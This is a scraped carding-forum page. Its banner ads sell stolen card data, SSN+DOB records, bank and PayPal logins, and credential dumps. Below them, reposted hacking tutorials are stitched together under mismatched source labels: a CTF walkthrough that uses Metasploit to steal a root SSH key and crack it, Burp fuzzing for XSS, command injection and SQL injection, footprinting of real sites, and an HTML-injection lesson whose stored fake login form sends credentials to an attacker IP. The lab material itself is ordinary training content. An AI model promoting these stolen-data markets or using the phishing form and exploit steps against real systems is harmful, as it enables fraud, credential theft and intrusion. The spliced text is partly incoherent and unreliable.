Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis





PLACE YOUR TEXT HERE FOR ADVERTISE
PLACE YOUR TEXT HERE FOR ADVERTISE
CC+CVV Private Base Wholesale & Retail | 200+ Countries | Rare BINs
Best CC Shop Daily Updates | 200+ Countries | High Quality | 24/7 Fast Support
BlackBet.cc Banks, Shops, Real Docs, SSN+DOB, PayPal, GVoice/Gmail, Lookups








>PLACE TEXT ADVERTISING HERE< &PLACE TEXT ADVERTISING HERE< >PLACE TEXT ADVERTISING HERE< >PLACE TEXT ADVERTISING HERE<



Announcement : Black Hat Forum is one of the Best Black Hat Carding Forum welcome you. We will share great stuff for our loved members, hope you enjoy your stay on our Black Hat Forum and you will return to us EVERYDAY. Stay Safe Enjoy Blackhat Carding Forum.


Welcome, Guest
You have to register before you can post on our site.

Username
  

Password
  





Search Forums

(Advanced Search)

Forum Statistics
» Members: 114,295
» Latest member: l0rdn17ar
» Forum threads: 13,082
» Forum posts: 20,983

Full Statistics

Latest Threads
STUFF CC – BEST CC SHOP
9 minutes ago

Last post by StuffCC
Vn5socks.net - Service Se...
3 hours ago

Last post by FireHeaven
Shopsocks5.com - Service ...
Yesterday, 12:42 PM

Last post by shopsocks5.com
Secretline.top @StarLinkC...
11-08-2026, 03:45 AM

Last post by Max097
Secretline.top @StarLinkC...
11-07-2026, 03:35 PM

Last post by Max097
Secretline.top @StarLinkC...
11-06-2026, 03:07 PM

Last post by Max097
[LUPIN ULP] 16.279.483 | ...
11-06-2026, 05:23 AM

Last post by ImLupin
Secretline.top @StarLinkC...
11-06-2026, 05:20 AM

Last post by Max097
Secretline.top @StarLinkC...
11-05-2026, 05:12 PM

Last post by Max097
⚡[350M] - UHQ ULP || URL:...
11-05-2026, 02:17 PM

Last post by eaglecloudofficial

 
  [Guide] How to Hack the d0not5top VM (CTF Challenge)
Posted by: NINZA - 05-04-2020, 06:22 PM - Forum: Carders Home - No Replies

This time we are going to solve a fun Vulnerable Lab d0not5top 1.2. To do so we are going to download the VM Machine from

[To see content please register here]

.
The credit for developing this VM machine is going to 3mrgnc3 who has hidden 7 flags inside this lab as a challenge for hackers.
Let’s Breach
As always, Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.113 but you will have to find your own)
netdiscover
1
netdiscover

[Image: 1.png?w=687&ssl=1]
Next, we run nmap
nmap -sV 192.168.1.113
1
nmap -sV 192.168.1.113

[Image: 2.1.png?w=687&ssl=1]
Now, visit the IP in the Browser.
[Image: 2.png?w=687&ssl=1]
Since I didn’t found something interesting when exploring it’s IP in the browser, therefore now I am going to scan the Web Content by using dirb in Kali Linux.
dirb

[To see content please register here]


1
dirb

[To see content please register here]


[Image: 3.png?w=687&ssl=1]
As you can observe from above the image I have highlighted a URL which indicates the control panel of the website. Let’s open 192.168.1.113/control in the browser. Yes, it is DNS control panel but I didn’t find any clue for the 1st flag on this web page.
[Image: 4.png?w=687&ssl=1]
After that move towards its view source page and notice FL46_1 which indicates that it is the 1st flag.
Wonderful!! Successfully found the 1st flag
[Image: 5.png?w=687&ssl=1]
From the scanning result of dirb we found so many web directories in this machine, therefore further I chose 192.168.1.113/control/js directory. In this directory, I found a file README.MadBro. It will open as shown below.
Now here we found a binary code which is to be converted into decimal. On conversion we found FL46_2:30931r42q2svdfsxk9i13ry4f2srtr98h2
Great!! Successfully got 2nd Flag.
[Image: 6.png?w=687&ssl=1]
Now, for the third flag, we will use netcat very verbose mode on port 25 which hosts smtpd service (This can be found by doing an aggressive nmap scan on the IP)
nc -vv 192.168.1.113 25
1
nc -vv 192.168.1.113 25

Here we found a Hexadecimal code which is to be converted in Text.
[Image: 7.png?w=687&ssl=1]
Great!! Successfully got 3rd Flag also.
[Image: 8.png?w=687&ssl=1]
On the URL where we found Second Flag, there is an instruction written in Leet, It reads: M4K3 5UR3 2 S3TUP YOUR /3TC/HO5TS N3XT TIM3 L0053R… 1T’5 D0Not5topMe.ctf!!! So we will go to /etc/hosts and add an entry as shown in the given image.
[Image: 9.png?w=687&ssl=1]
Now open donot5topme.ctf in the browser as shown and Click on Register has given at the end of the web page.
[Image: 10.png?w=687&ssl=1]
As you can observe that we didn’t found any clue on this web page, therefore, opened the source code of the page.
[Image: 11.png?w=687&ssl=1]
At View Page Source, here we found this link as shown in highlighted text.
[Image: 12.png?w=687&ssl=1]
I googled this encoding. It is known as brain fuck encoding.
[Image: 13.png?w=687&ssl=1]
So we will decrypt it. Here we got the FL46_4
Successfully found the 4th flag
[Image: 14.png?w=687&ssl=1]
Now move back to the d0not5topme.ctf. Now we will click on Register and Then on I agree to these terms and we will get to Registration Page. Here we click on Board Administration, which opens a prompt which asks for the client to open mailto link, here I choose Gmail.
[Image: 15.png?w=687&ssl=1]
Here I found another ctf “[email protected]”
[Image: 16.png?w=687&ssl=1]
Now let’s add G4M35.ctf into /etc/hosts as we did before and click on Save.
[Image: 17.png?w=687&ssl=1]
When I open this domain in the browser, I got a game to play, although you can get the next clue by playing too, but I  thought of a more technical approach and opened this web page with Inspect Element. Now select the Debugger Tab. Here I found game.js and inside the Game_Over script I found the next clue as “/H3X6L4m3”
[Image: 18.png?w=687&ssl=1]
After opening the complete link “g4m35.ctf/H3X6L4m3” on this domain it gave me another game.
[Image: 19.png?w=687&ssl=1]
Again we can play and discover the next clue/flag. But we went to get a bit technical approach and ran a dirb command to look after it’s directories.
dirb

[To see content please register here]

/usr/share/wordlists/dirb/big.txt

1
dirb

[To see content please register here]

/usr/share/wordlists/dirb/big.txt

From the given result I had highlighted

[To see content please register here]

for further enumeration.

[Image: 20.png?w=687&ssl=1]
Now I have opened this textures directory in the browser, here I opened the skybox directory and then the dawnclouds directory and found the nz.jpg file as shown.
[Image: 21.png?w=687&ssl=1]
After opening this image I got the octal code.
[Image: 22.png?w=687&ssl=1]
After decoding this code I found FL46_5
I Captured the 5th flag also!!
[Image: 23.png?w=687&ssl=1]
Now get back to the second game

[To see content please register here]

and open with Inspect Element. Now select the Debugger Tab. Here I found Gameplay.js and got another domain “t3rmln4l.ctf” as shown below.

[Image: 24.png?w=687&ssl=1]
Now let’s add t3rmln4l.ctf into /etc/hosts as we did before and click on Save.
[Image: 25.png?w=687&ssl=1]
Now as before, while opening this domain in the browser, I got a terminal which asks for a password. After trying a bunch of commands, I found grep* runs on this terminal and for authentication, I entered the name of the domain as password i.e t3rm1a4l.ctf and found another domain “M36u574.ctf”.
[Image: 26.png?w=687&ssl=1]
Now let’s add M36u574.ctf into /etc/hosts as we did before and click on Save.
[Image: 27.png?w=687&ssl=1]
Now as before, you will open this domain in the browser, you will get a slideshow of Megusta images. Out of multiple images, I downloaded the kingmegusta.jpg.
[Image: 28.png?w=687&ssl=1]
Now we will run exiftool on this image, here I got some code in Comment as shown below.
[Image: 29.png?w=687&ssl=1]
After converting the code to the text I found the following code as shown in the image. It is base64 encoded.
[Image: 30.png?w=687&ssl=1]
Then I created a text file on /root/Desktop/ and pasted the above-decoded text in this file.
[Image: 31.png?w=687&ssl=1]
By running John The Ripper, using this file as shown
john --wordlist=/usr/share/wordlists/rockyou.txt ignite
1
john --wordlist=/usr/share/wordlists/rockyou.txt ignite

I found a user MeGustaKing and Password ********** (10 times *).
[Image: 32.png?w=687&ssl=1]
Now using this username and password combination we will login into the ssh. Here we get a code and another username and password combination i.e. burtieo: Lets you update your FunNotes and more! But first, let’s decode the highlighted code.
[Image: 33.png?w=687&ssl=1]
Copy and paste above code inside it. It is in base64 encryption, after decrypting the code we found that it is md5 encoded.
[Image: 34.png?w=687&ssl=1]
Great! It is the 6th Flag.
[Image: 35.png?w=687&ssl=1]
As mentioned above in the previous ssh login we got this username burtieo and its password is the text written above it i.e. Lets you update your FunNotes and more!
Now let’s login in ssh using a combination
Username: burtieo and Password: Lets you update your FunNotes and more!
[Image: 36.png?w=687&ssl=1]
This opens rbash shell and rbash shell restricts some of the features of the bash shell.
[Image: 37.png?w=687&ssl=1]
So, firstly run following command
suedoh -l
1
suedoh -l

And then run the command
suedoh /usr/bin/wmstrt
1
suedoh /usr/bin/wmstrt

[Image: 38.png?w=687&ssl=1]
Using nmap command I found the port 10000 is open.
[Image: 39.png?w=687&ssl=1]
But this port only remains open for 20 seconds, we can make it stay open for long using “for loop” as shown.
[Image: 40.png?w=687&ssl=1]
Now let’s run Metasploit and use the exploit named file_disclosure
msf> use auxiliary/admin/webmin/file_disclosure
msf> auxiliary (file_disclosure) > set lhost 192.168.1.113
msf> auxiliary (file_disclosure) > set ssl true
msf> auxiliary (file_disclosure) > set rpath /root/.ssh/id_rsa
msf> auxiliary (file_disclosure) > exploit

1
2
3
4
5

msf> use auxiliary/admin/webmin/file_disclosure
msf> auxiliary (file_disclosure) > set lhost 192.168.1.113
msf> auxiliary (file_disclosure) > set ssl true
msf> auxiliary (file_disclosure) > set rpath /root/.ssh/id_rsa
msf> auxiliary (file_disclosure) > exploit

I found the RSA Private Key as shown.
[Image: 41.png?w=687&ssl=1]
Now copy and paste this Private Key in a file and name it id_rsa and then run John The Ripper.
ssh2john id_rsa> ignite
john --wordlist:/usr/share/wordlists/rockyou.txt ignite

1
2

ssh2john id_rsa> ignite
john --wordlist:/usr/share/wordlists/rockyou.txt ignite

This has given the root password .i.e. “gustateamo”
[Image: 42.png?w=687&ssl=1]
Now I have removed permissions of id_rsa by chmod 700 and logged in into ssh as root with password gustateamo as shown below.
[Image: 43.png?w=687&ssl=1]
Now type the following command
ls
1
ls

You can observe from the given image that it consists of two files. Let’s open one of them.
cat L45T_fl46.pl
1
cat L45T_fl46.pl

Here it gave the message to use L45T_fl46.pl
[Image: 44.png?w=687&ssl=1]
Now use netcat command to establish a connection with the target through port 1234.
nc -lp 1234 -vv
1
nc -lp 1234 -vv

[Image: 45.png?w=687&ssl=1]
Now in D0Not5top terminal, we will open file L45T_fl46.pl with IP 192.168.0.7 (Kali Linux IP) as given below:
./ L45T_fl46.pl 192.168.1.109 1234
1
./ L45T_fl46.pl 192.168.1.109 1234

[Image: 46.png?w=687&ssl=1]
On attacker system it will you will found get netcat to connect with the targeted system. The highlighted text is indicating toward FL46_7
Congratulations!! It’s the 7th Flag.
Solving this lab was fun and a great experience.
[Image: 47.png?w=687&ssl=1]

From Wikipedia
Domain Name System is used for name translation into IP address or you can say that it is used for name resolution.
This name is only for the benefit of the human. It is translated into IP addresses to reach the destination. The translation process of a name is called name resolution.
Name resolution starts from right to left. There is another “.” after com but it is hidden. This is called root level domain. Winner request is sent to the root domain for translation it forwards this request to com domain which is called Top Level Domain. Com passes the request to yahoo domain which is called 2ndlevel domain .Yahoo then sends the request to www which is called host name.
Structure of the DNS is distributed over the internet. It means that the name resolution task is not assigned to only computer rather it is distributed over the internet.
Steps to Install DNS server
Configure Static IP setting of your server; here we had assigned 192.168.1.104 IP to our machine moreover we had assign server IP also as preferred DNS server.
[Image: 1.png?w=687&ssl=1]
We have to open Server Manager and then click on Add Roles and Features in order to install role services and features. A new window will come up on screen. Now click on next as shown below in given image.
[Image: 2.png?w=687&ssl=1]
Select installation type “Role based or feature based installation” which is also select as default option and then click on next for further step.
[Image: 3.png?w=687&ssl=1]
Select the desire server from server pool for configuration of DNS server. From given below image you can observe that  from inside pool 1 computer is found with IP 192.168.1.104 that has been selected as server, now click on next.
[Image: 4.png?w=687&ssl=1]
Select DNS server checkbox as role to install it on selected server and click on Next.
[Image: 6.png?w=687&ssl=1]
Now Just Click on Next after reading brief description of DNS.
[Image: 7.png?w=687&ssl=1]
To install selected role and feature on selected server click on Install.
[Image: 8.png?w=687&ssl=1]
DNS server installation process begins which may takes few minute for installation, at last click on close once the installation has been completed.
[Image: 9.png?w=687&ssl=1]
This is all about DNS installation now in next step we will configure DNS server.
Zone
Database of DNS is called zone or partition of Domain Name Space represented by Domain Name is called Zone. When you click on zone then you will see two zones one is Forward Lookup Zone and Reverse Lookup Zone.
Forward Lookup Zone sends name and get IP address of the computer.
While Reverse Lookup Zone sends IP address of the computer then why we need name of the computer. The answer is that if firewall is installed on the computer then firewall stop or allow traffic on the basis of name that is why reverse lookup zone is used to convert IP address in the name.
Steps to create a Forward Lookup zone:
  • Select DNS from drop down list server manger, this will open the server on which we have install DNS role. Select your server (WIN-KSR8OM147HH ) make right click on it  and select DNS from that list.
[Image: 10.png?w=687&ssl=1]
When we select DNS in server Manager it will open a new window as DNS Manager.
Now we will configure Forward lookup zone as well as Reverse Lookup Zone. So to create Forward Lookup Zone, select Forward Lookup Zones and right click on it and select New Zone from menu box to take up the New Zone Wizard then click on next.
It will show the list of Different types of Zones and storage such as Primary Zone, Secondary Zone & Stub Zone.
Zone Types
  • Primary Zone:  A primary DNS zone has authority of read / writes for DNS server also known as master server. It stores the master copy of zone data in a local file or in AD DS.
  • Secondary Zone:  A Secondary DNS Zone is Read-Only copy of a Primary Zone; this DNS server is a secondary resource for information about this zone.
  • Active Directory Integrated DNS Zone: It is also writeable zone. To make Active Directory Integrated zone the machine must be a domain Controller. RODC (read only domain controller).feature is only available in server 2008 R2.The domain controller must be writeable not read only because it is more secure. There is a security tab in the AD integrated zone, it is a multi master structured. In case of AD integrated zone, DNS database will be replicated as a part of domain replication.
  • Stub zone: It is nature secondary. It has no database of its own. Its load the database from master DNS. It only takes selective records not the complete database. Three records NS, SOA and Glue A will transfer into stub zone. Stub is read only.
DNS uses port 53 for communication and it uses both TCP and UDP protocols. Dynamic DNS (DDNS) is used to automatically update IP addresses in DNS when changed by DHCP. You will enable DDNS option in the zone properties to secure only.
[Image: 11.png?w=687&ssl=1]
Select Primary zone and click on Next.
[Image: 12.png?w=687&ssl=1]
Give desired Zone name like raj and click on Next.
[Image: 13.png?w=687&ssl=1]
Save this into a new zone file as raj.dns and click on Next.
[Image: 14.png?w=687&ssl=1]
Select Do not allow dynamic updates option, if you want to update these records manually. Click on Next then Finish.
[Image: 15.png?w=687&ssl=1]
Now we had completed the configuration for Forward Lookup Zone; next we will configure reverse lookup zone.
Reverse Lookup Zone:
Domain Name system (DNS) servers can enable clients to determine the DNS name of a host based on the host’s IP address by providing a special zone called a reverse lookup zone. A reverse lookup zone contains pointer (PTR) resource records that map IP addresses to the host name. Some applications, such as secure web applications, rely on reverse lookups.
A reverse lookup takes the form of a question, such as “can you tell me the DNS name of the computer that uses the IP address 192.168.1.120?”
A special domain, the in-addr.arpa  domain, was defined in the DNS standards and reserved in the internet DNS namespace to provide a practical and reliable way to perform reverse queries . In reverse lookup zone the address is written in reverse order.
Step to create a Reverse Lookup Zone:
To create Reverse Lookup Zone, make right click on it and click on New Zone from the inside the menu box to take up the New Zone Wizard.
[Image: 16.png?w=687&ssl=1]
Select Primary zone and click on Next.
[Image: 17.png?w=687&ssl=1]
Click on first radio button for IPv4 reverse Lookup Zone to translate IP address into DNS name then click on next.
[Image: 18.png?w=687&ssl=1]
Type Network ID field as 192.168.1 which is the first three octets of IP-address of our DNS Server then click on next.
[Image: 19.png?w=687&ssl=1]
Save this in a new zone file and select first radio button for this step then click on next.
[Image: 20.png?w=687&ssl=1]
Select Do not allow dynamic updates option, if you want to update these record manually. Click on next.
[Image: 21.png?w=687&ssl=1]
We have successfully completed configuration for new zone of reverse Lookup. Now just click on finish.
[Image: 22.png?w=687&ssl=1]
Now you can observe that on the right side of DNS Manager Window, Reverse Lookup Zone is now created that contains two records i.e. SOA and NS in it.
  • Now we are going to create a new pointer in our new zone file i.e. 168.192.in-addr.arpa, as shown in given below image
[Image: 23.png?w=687&ssl=1]
Here we require host name in order to create new resource record, click on browse to select the record.
Resource Records
Resource records are the DNS database entries to answer DNS client queries. Name, type and data. The client query is always shown under the name title; DNS server answer always shown under the data title, in type different types of records is shown. Common recorded in DNS are A (Name to IP), PTR (reverse of A), SRV, MX, MS, SOA, etc.
[Image: 24.png?w=687&ssl=1]
Select 2ndfile i.e. name server (NS) record as shown in given below image and click on OK.
[Image: 25.png?w=687&ssl=1]
DNS Queries
There are two types of queries in DNS:
  • Recursive Query: – It goes from DNS client to DNS server. It answer is complete means processing is complete.
  • Iterative Query: – It goes from DNS server to DNS server. It answer is not complete means its reply is referral. Iterative query is used to reach from one DNS to another DNS. It keeps the reply for 60minutes in his cache.
Verify DNS configuration
Open command prompt and type following command which will search for the Domain Name System (DNS) to find domain name or IP address mapping.
nslookup 192.168.1.104 (server’s ip)
From given below image you can read the name of NS record/domain name i.e. raj.
[Image: 26.png?w=687&ssl=1]
Similarly using command nslookup raj we found host IP i.e. 192.168.1.104
[Image: 27.png?w=687&ssl=1]

From Portswigger
Hello friends!! Today we are going to perform fuzzing testing on the bwapp application using burp suite intruder, performing this testing manually is time-consuming and may be a boring process for any pentester.
The fuzzing plays a vital role in software testing, it is a tool which is used for finding bugs, errors, faults, and loophole by injecting a set of partially –arbitrary inputs called fuzz into a program of the application to be tested. Fuzzer tools take structure input in file format to differentiate between valid and invalid inputs. Fuzzer tool is best in identifying vulnerability like SQL injection, buffer overflow, XSS injection, and OS command injection and etc.
Let’s start!!
Fuzzing XSS
Start burp suite in order to intercept the request and then send intercepted data into Intruder
[Image: 1.png?w=687&ssl=1]
Many input-based vulnerabilities, such as SQL injection, cross-site scripting, and file path traversal can be detected by submitting various test strings in request parameters and analyzing the application’s responses for error messages and other anomalies.
Considered following as given below:
Configure the position where payload will be inserted, the attack type determines the way in which payloads are assigned to payload positions.
Payload position: test (user input for the first name)
Attack type: Sniper (for one payload)
[Image: 2.png?w=687&ssl=1]
A set payload which will be placed into payload positions during the attack. Choose payload option to configure your simple list of payload for the attack. Configure the payload list using one of Burp’s predefined payload lists containing common fuzz strings.
Burp suite intruder contains fuzzing string for testing XSS injection, therefore choose fuzzing –xss and click on ADD tab to load this string into the simple list as shown in the screenshot and at final click on start attack.
[Image: 3.png?w=687&ssl=1]
It will start the attack by sending a request which contains the random string to test XSS vulnerability in the target application. Now from a given list of applied string select the payload which has the highest length as output as shown in the given image, we have a select request 1 having a length equal to 13926.
[Image: 4.png?w=687&ssl=1]
Insert selected payload into the intercepted request and then forward this request as you can see in the given image.
[Image: 5.png?w=687&ssl=1]
Bravo!!  Fuzzing test is completed and it found that the application has a bug which leads to XSS vulnerability. From the screenshot, you can see it is showing an XSS alert prompt.
[Image: 6.png?w=687&ssl=1]
Fuzzing OS command injection
Similarly, repeat the same process in order to intercept the request and then send intercepted data into Intruder.
[Image: 7.png?w=687&ssl=1]
Configure the position where payload will be inserted, the attack type determines the way in which payloads are assigned to payload positions.
Payload position:

[To see content please register here]

(user input for target)

Attack type: Sniper (for one payload
[Image: 8.png?w=687&ssl=1]
Burp suite intruder contains a fuzzing string which will test for os command injection, therefore choose to fuzz full and click on ADD tab to load this string into the simple list as shown in the screenshot and at final click on start attack.
[Image: 9.png?w=687&ssl=1]
It will start the attack by sending a request which contains the arbitrary string to test OS command injection vulnerability in the target application. Now from a given list of applied string select the payload which has the highest length as output as shown in the given image, we have the select request 34 having a length equal to 13343.
Insert selected payload into the intercepted request and then forward this request as you can see in the given image.
[Image: 10.png?w=687&ssl=1]
Great Job!!  Fuzzing test is completed and it found that the application has a bug which leads to OS command vulnerability. From the screenshot, you can see the application is showing ID as per the request of the selected payload.
[Image: 11.png?w=687&ssl=1]
Fuzzing SQL
Similarly, repeat the same process in order to intercept the request and then send intercepted data into Intruder.
[Image: 12.png?w=687&ssl=1]
Configure the position where payload will be inserted, the attack type determines the way in which payloads are assigned to payload positions. It is much similar like brute force attack.
Payload position: 1:1 (user input for login: password)
Attack type: Cluster bomb (for two payloads)
[Image: 13.png?w=687&ssl=1]
Burp suite intruder contains a fuzzing string which will test for SQL injection, therefore choose to fuzz –SQL Injection for first payload position and click on ADD tab to load this string into the simple list as shown in the screenshot and at final click on start attack.
[Image: 14.png?w=687&ssl=1]
Similarly, repeat the same process to set payload option for second payload position.
[Image: 15.png?w=687&ssl=1]
It will start the attack by sending a request which contains the arbitrary string to test SQL injection vulnerability in the target application. Now from a given list of applied string select the payload which has the highest length as output as shown in the given image, we have the select request 168 having a length equal to 13648.
[Image: 16.png?w=687&ssl=1]
Insert selected payload into the intercepted request and then forward this request as you can see in the given image.
[Image: 17.png?w=687&ssl=1]
Wonderful!!  Fuzzing test is completed and it found that the application has a bug which leads to SQL injection vulnerability. From the screenshot, you can see we had login into Neo’s account without valid input this happens only as per the request of the selected payload.
[Image: 18.png?w=687&ssl=1]
In our previous article, we have discussed a brief introduction of footprinting for gathering information related to the specific person. As we had discussed that there are so many types of footprinting and today we are going to talk about DNS footprinting, website footprinting, and whois footprinting.
Browsing the target Website may Providing
  • Whos is Details
  • Software used and version
  • OS Details
  • Sub Domains
  • File Name and File Path
  • Scripting Platform & CMS Details
  • Contact Details
Let’s start!!
From Wikipedia
Whois footprinting
WHOIS (pronounced as the phrase who is) is a query and response protocol and whois footprinting is a method for glance information about ownership of a domain name as following:
  • Domain name details
  • Contact details contain phone no. and email address of the owner
  • Registration date for the domain name
  • Expire date for the domain name
  • Domain name servers
Whois Lookup
It is broadly used in support of querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block, or an autonomous system, but is also used for a wider range of other information. The protocol stores and delivers database content in a human-readable format.
Browse given URL

[To see content please register here]

in browser and type any domain name.

For example: let’s search pentestlab.in
[Image: 1.png?w=687&ssl=1]
Now you can see it has created a whois record for pentestlab.in where it contains details like email address, IP, registrant Org. From the given record, anyone can guess that this domain has some connection to raj chandel. The attacker needs to perform footprinting on raj chandel taking help from the previous article.
There is so many other tools use for whois footprinting for example:
  • Caller IP
  • Whois Analyzer pro
  • Whois lookup multiple addresses
[Image: 2.png?w=687&ssl=1]
DNS Footprinting
The attacker performs DNS footprinting in order to enumerate DNS record details and type of servers. There is 10 type of DNS record which provide important information related to the target location.
  1. A/AAAA
  2. SVR
  3. NS
  4. TXT
  5. MX
  6. CNAME
  7. SOA
  8. RP
  9. PTR
  10. HINFO
Domain Dossier: it is an online tool use for complete DNS footprinting as well as whois footprinting.
There are so many online tool use for DNS footprinting, using domain dossier we will check for DNS records of penetstlab.in, select the check box for DNS records and traceroute and then click on go.
[Image: 3.png?w=687&ssl=1]
You can observe that the data which we received from whois lookup and from domain dossier is the same to some extent. It has given same email ID as above i.e. [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Loginand moreover details of DNS records TXT, SOA, NS, MX, A and PTR.

[Image: 4.png?w=687&ssl=1]
DNS Dumpster: it is also an online use for DNS footprinting.
DNSdumpster.com is a FREE domain research tool that can discover hosts related to a domain. Enumerate a domain and pull back up to 40K subdomains, results are available in an XLS for easy reference.
Repeating the same process for pentestlab.in, it will search for its DNS record. From the given screenshot, you can observe we have received the same details as above. More it will create a copy as an output file in from XLS.
[Image: 5.png?w=687&ssl=1]
You get signal: it is also an online tool used for DNS footprinting as well as for Network footprinting
A reverse IP domain check takes a domain name or IP address pointing to a web server and searches for other sites known to be hosted on that same web server. Data is gathered from search engine results, which are not guaranteed to be complete
Hence we get the IP 72.52.229.111 for pentestlab.inmoreover it dumped the name of 14 other domain which is hosted on the same web server.
[Image: 6.png?w=687&ssl=1]
Website Footprinting
It is a technique used for extracting the details related to the website as following
  1. Archived description of the website
  2. Content management system and framework
  3. Script and platform of the website and web server
  4. Web crawling
  5. Extract metadata and contact details from the website
  6. Website and web page monitoring and analyzer
Archive.org: It is an online tool use for visiting the archived version of any website.
Archive.org has search option as way back machine which is like a time machine for any website. It contains entire information from past till present scenario of any website either their layout or content everything related to the website is present inside. In simple words, it contains the history of any website.
For example, I had a search for the hackingarticles.in the archived record of 2012.
[Image: 7.png?w=687&ssl=1]

Built With: It is an online tool used for detecting techniques and framework involved inside running website.
BuiltWith.com technology tracking includes widgets, analytics, frameworks, content management systems, advertisers, content delivery networks, web standards, and web servers to name some of the technology categories.
Taking the example of hackingarticles.in again we found the following things:
  • Content Management system: WordPress
  • Framework: PHP
[Image: 8.png?w=687&ssl=1]
Whatweb
Whatweb can identify all sorts of information about a live website, like Platform, CMS platform, Type of Script, Google Analytics, Web server Platform, and IP address Country. A pentester can use this tool as both a recon tool & vulnerability scanner.
Open the terminal in Kali Linux and type following command
whatweb

[To see content please register here]


1
whatweb

[To see content please register here]


As result, we receive the same information as above
[Image: 9.png?w=687&ssl=1]
Web crawling
HTTrack is a free and open source Web crawler and offline browser, developed by Xavier Roche
It allows you to download a World Wide Web site from the Internet to a local directory, building recursively all directories, getting HTML, images, and other files from the server to your computer. HTTrack arranges the original site’s relative link-structure.
Give target URL for copy the web site as

[To see content please register here]

which starts downloading the website.

[Image: 10.png?w=687&ssl=1]

[To see content please register here]


Web Data Extractor
Web Data Extractor Pro is a web scraping tool specifically designed for mass-gathering of various data types. It can harvest URLs, phone and fax numbers, email addresses, as well as meta tag information and body text. A special feature of WDE Pro is custom extraction of structured data.
Start new project Type target URL as ignitetechnologies.in and select folder to save the output and click on ok.
[Image: 11.png?w=687&ssl=1]
Now, this tool will extract metadata, email contact no. and etc from inside the target URL.
From given screenshot, you can see it found 40 meta tags1 email 84-phone number from ignitetechnologies.in website.
Similarly the other tool use as web data extractor:
Web spider
[Image: 12.png?w=687&ssl=1]
Competitive Intelligence
Website-Watcher is a powerful yet simple website-monitoring tool, perfectly suited to the beginner and advanced user alike.  You can download it from here.
Using the new tab and enter the target URL which starts monitoring the target website.
For example, I enter the URL hackingarticles.in for monitoring this website.
Similarly, there are some other tools uses for monitoring:
On web change
Follow that page
Informinder
[Image: 13.png?w=687&ssl=1]


  [Guide] How to do HTML Injection (Beginner)
Posted by: NINZA - 05-04-2020, 06:19 PM - Forum: Carders Home - No Replies

From W3schools
HTML is the standard HyperText Markup Language which uses for designing Web pages

  • HTML describes the structure of Web pages using markup.
  • HTML elements are the building blocks of HTML pages.
  • HTML elements are represented by tags.
  • HTML tags label pieces of content such as “heading”, “paragraph”, “table”, and so on.
  • Browsers do not show the HTML tags but utilize them to submit the content of the page.
[Image: 0.jpg?w=687&ssl=1]
HTML Tags
HTML tags are element names surrounded by angle brackets. Their two types of tag starting also known as opening tag and end tag also known as a closing tag.
[Image: 1.png?w=687&ssl=1]
HTML Elements
An HTML element usually consists of a start tag and end tag, with the content inserted in between:
[Image: 2.png?w=687&ssl=1]
HTML Attributes
Attributes provide additional information about HTML elements. Attributes generally come in form of name/value pairs like: name=”value”
Create a web page using HTML
Generally “Notepad” is useful for writing HTML code and save the text file with a .html/.htm extension for example “test.html” then open the saved file using any web browser.
To create a simple web page type following code inside notepad and save test.html
<!DOCTYPE html>
<html>
<head>
<title> HTML TUTORIALS</title>
</head>
<body bgcolor="pink">
<br>
<center><h2>WELCOME TO HACKING ARTILCES </h2>
<br>
<p>Author “Raj chandel”</p>
</center>
</body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13

<!DOCTYPE html>
<html>
<head>
<title> HTML TUTORIALS</title>
</head>
<body bgcolor="pink">
<br>
<center><h2>WELCOME TO HACKING ARTILCES </h2>
<br>
<p>Author “Raj chandel”</p>
</center>
</body>
</html>

When you will open test.html in a web browser you will see given below image.
[Image: 3.png?w=687&ssl=1]
  • The <!DOCTYPE html> declaration defines this document to be HTML5
  • The <html> element is the root element of an HTML page
  • The <head> element contains meta information about the document
  • The <title> element specifies a title for the document
  • The <body> element contains the visible page content; have the bgcolor attribute as “pink”
  • The <br>element defines break line/next line
  • The <h1> element defines a large heading
  • The <p> element defines a paragraph
HTML Versions
Since the early days of the web, there have been many versions of HTML:
Version
Year
HTML
1991
HTML 2.0
1995
HTML 3.2
1997
HTML 4.01
1999
XHTML
2000
HTML5
2014
To learn more about HTML visit to w3schools.com
HTML injection
HTML injection is the vulnerability inside any website that occurs when the user input is not correctly sanitized or the output is not encoded and the attacker is able to inject valid HTML code into a vulnerable web page. There are so many techniques which could use element and attributes to submit HTML content.
If these methods are provided with untrusted input, then there is a high risk of XSS, specifically an HTML injection one. If strings are not correctly sanitized the problem could lead to XSS based HTML injection.
This vulnerability can have many consequences, like disclosure of a user’s session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims.
[Image: 4.png?w=687&ssl=1]
Their two types of html injection as following:
  • Stored HTML
  • Reflected HTML
Stored HTML
A stored HTML also was known as Persistence because through this vulnerability the injected malicious script get permanently stored inside the web-server and the application server give out it back to the user when he visits the respective website. Hence when the client will click on payload which appears as an official part of the website, the injected HTML code will get executed by the browser. The most common example is comment option on blogs, which allow the users to POST their comment for the administrator or another user.
Example:
An example of a web application vulnerable to stored HTML injection which allows users to submit their entry in the blog as shown in the screenshot.
Firstly user “raj” had made a normal entry as an attacker which is successfully added in the web server database.
[Image: 9.png?w=687&ssl=1]
Enter following html code inside the given text area for making HTML attack. 
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Please login with valid credentials:<br><form name="login" action="http://192.168.1.104 /login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>
1
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Please login with valid credentials:<br><form name="login" action="http://192.168.1.104 /login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>

Above HTML code will generate a payload to create a user login page on a targeted web page and forward that credential to attacker’s IP.
[Image: 10.png?w=687&ssl=1]
You can see given below login page looks valid to the user and get stored inside the web server.
[Image: 11.png?w=687&ssl=1]
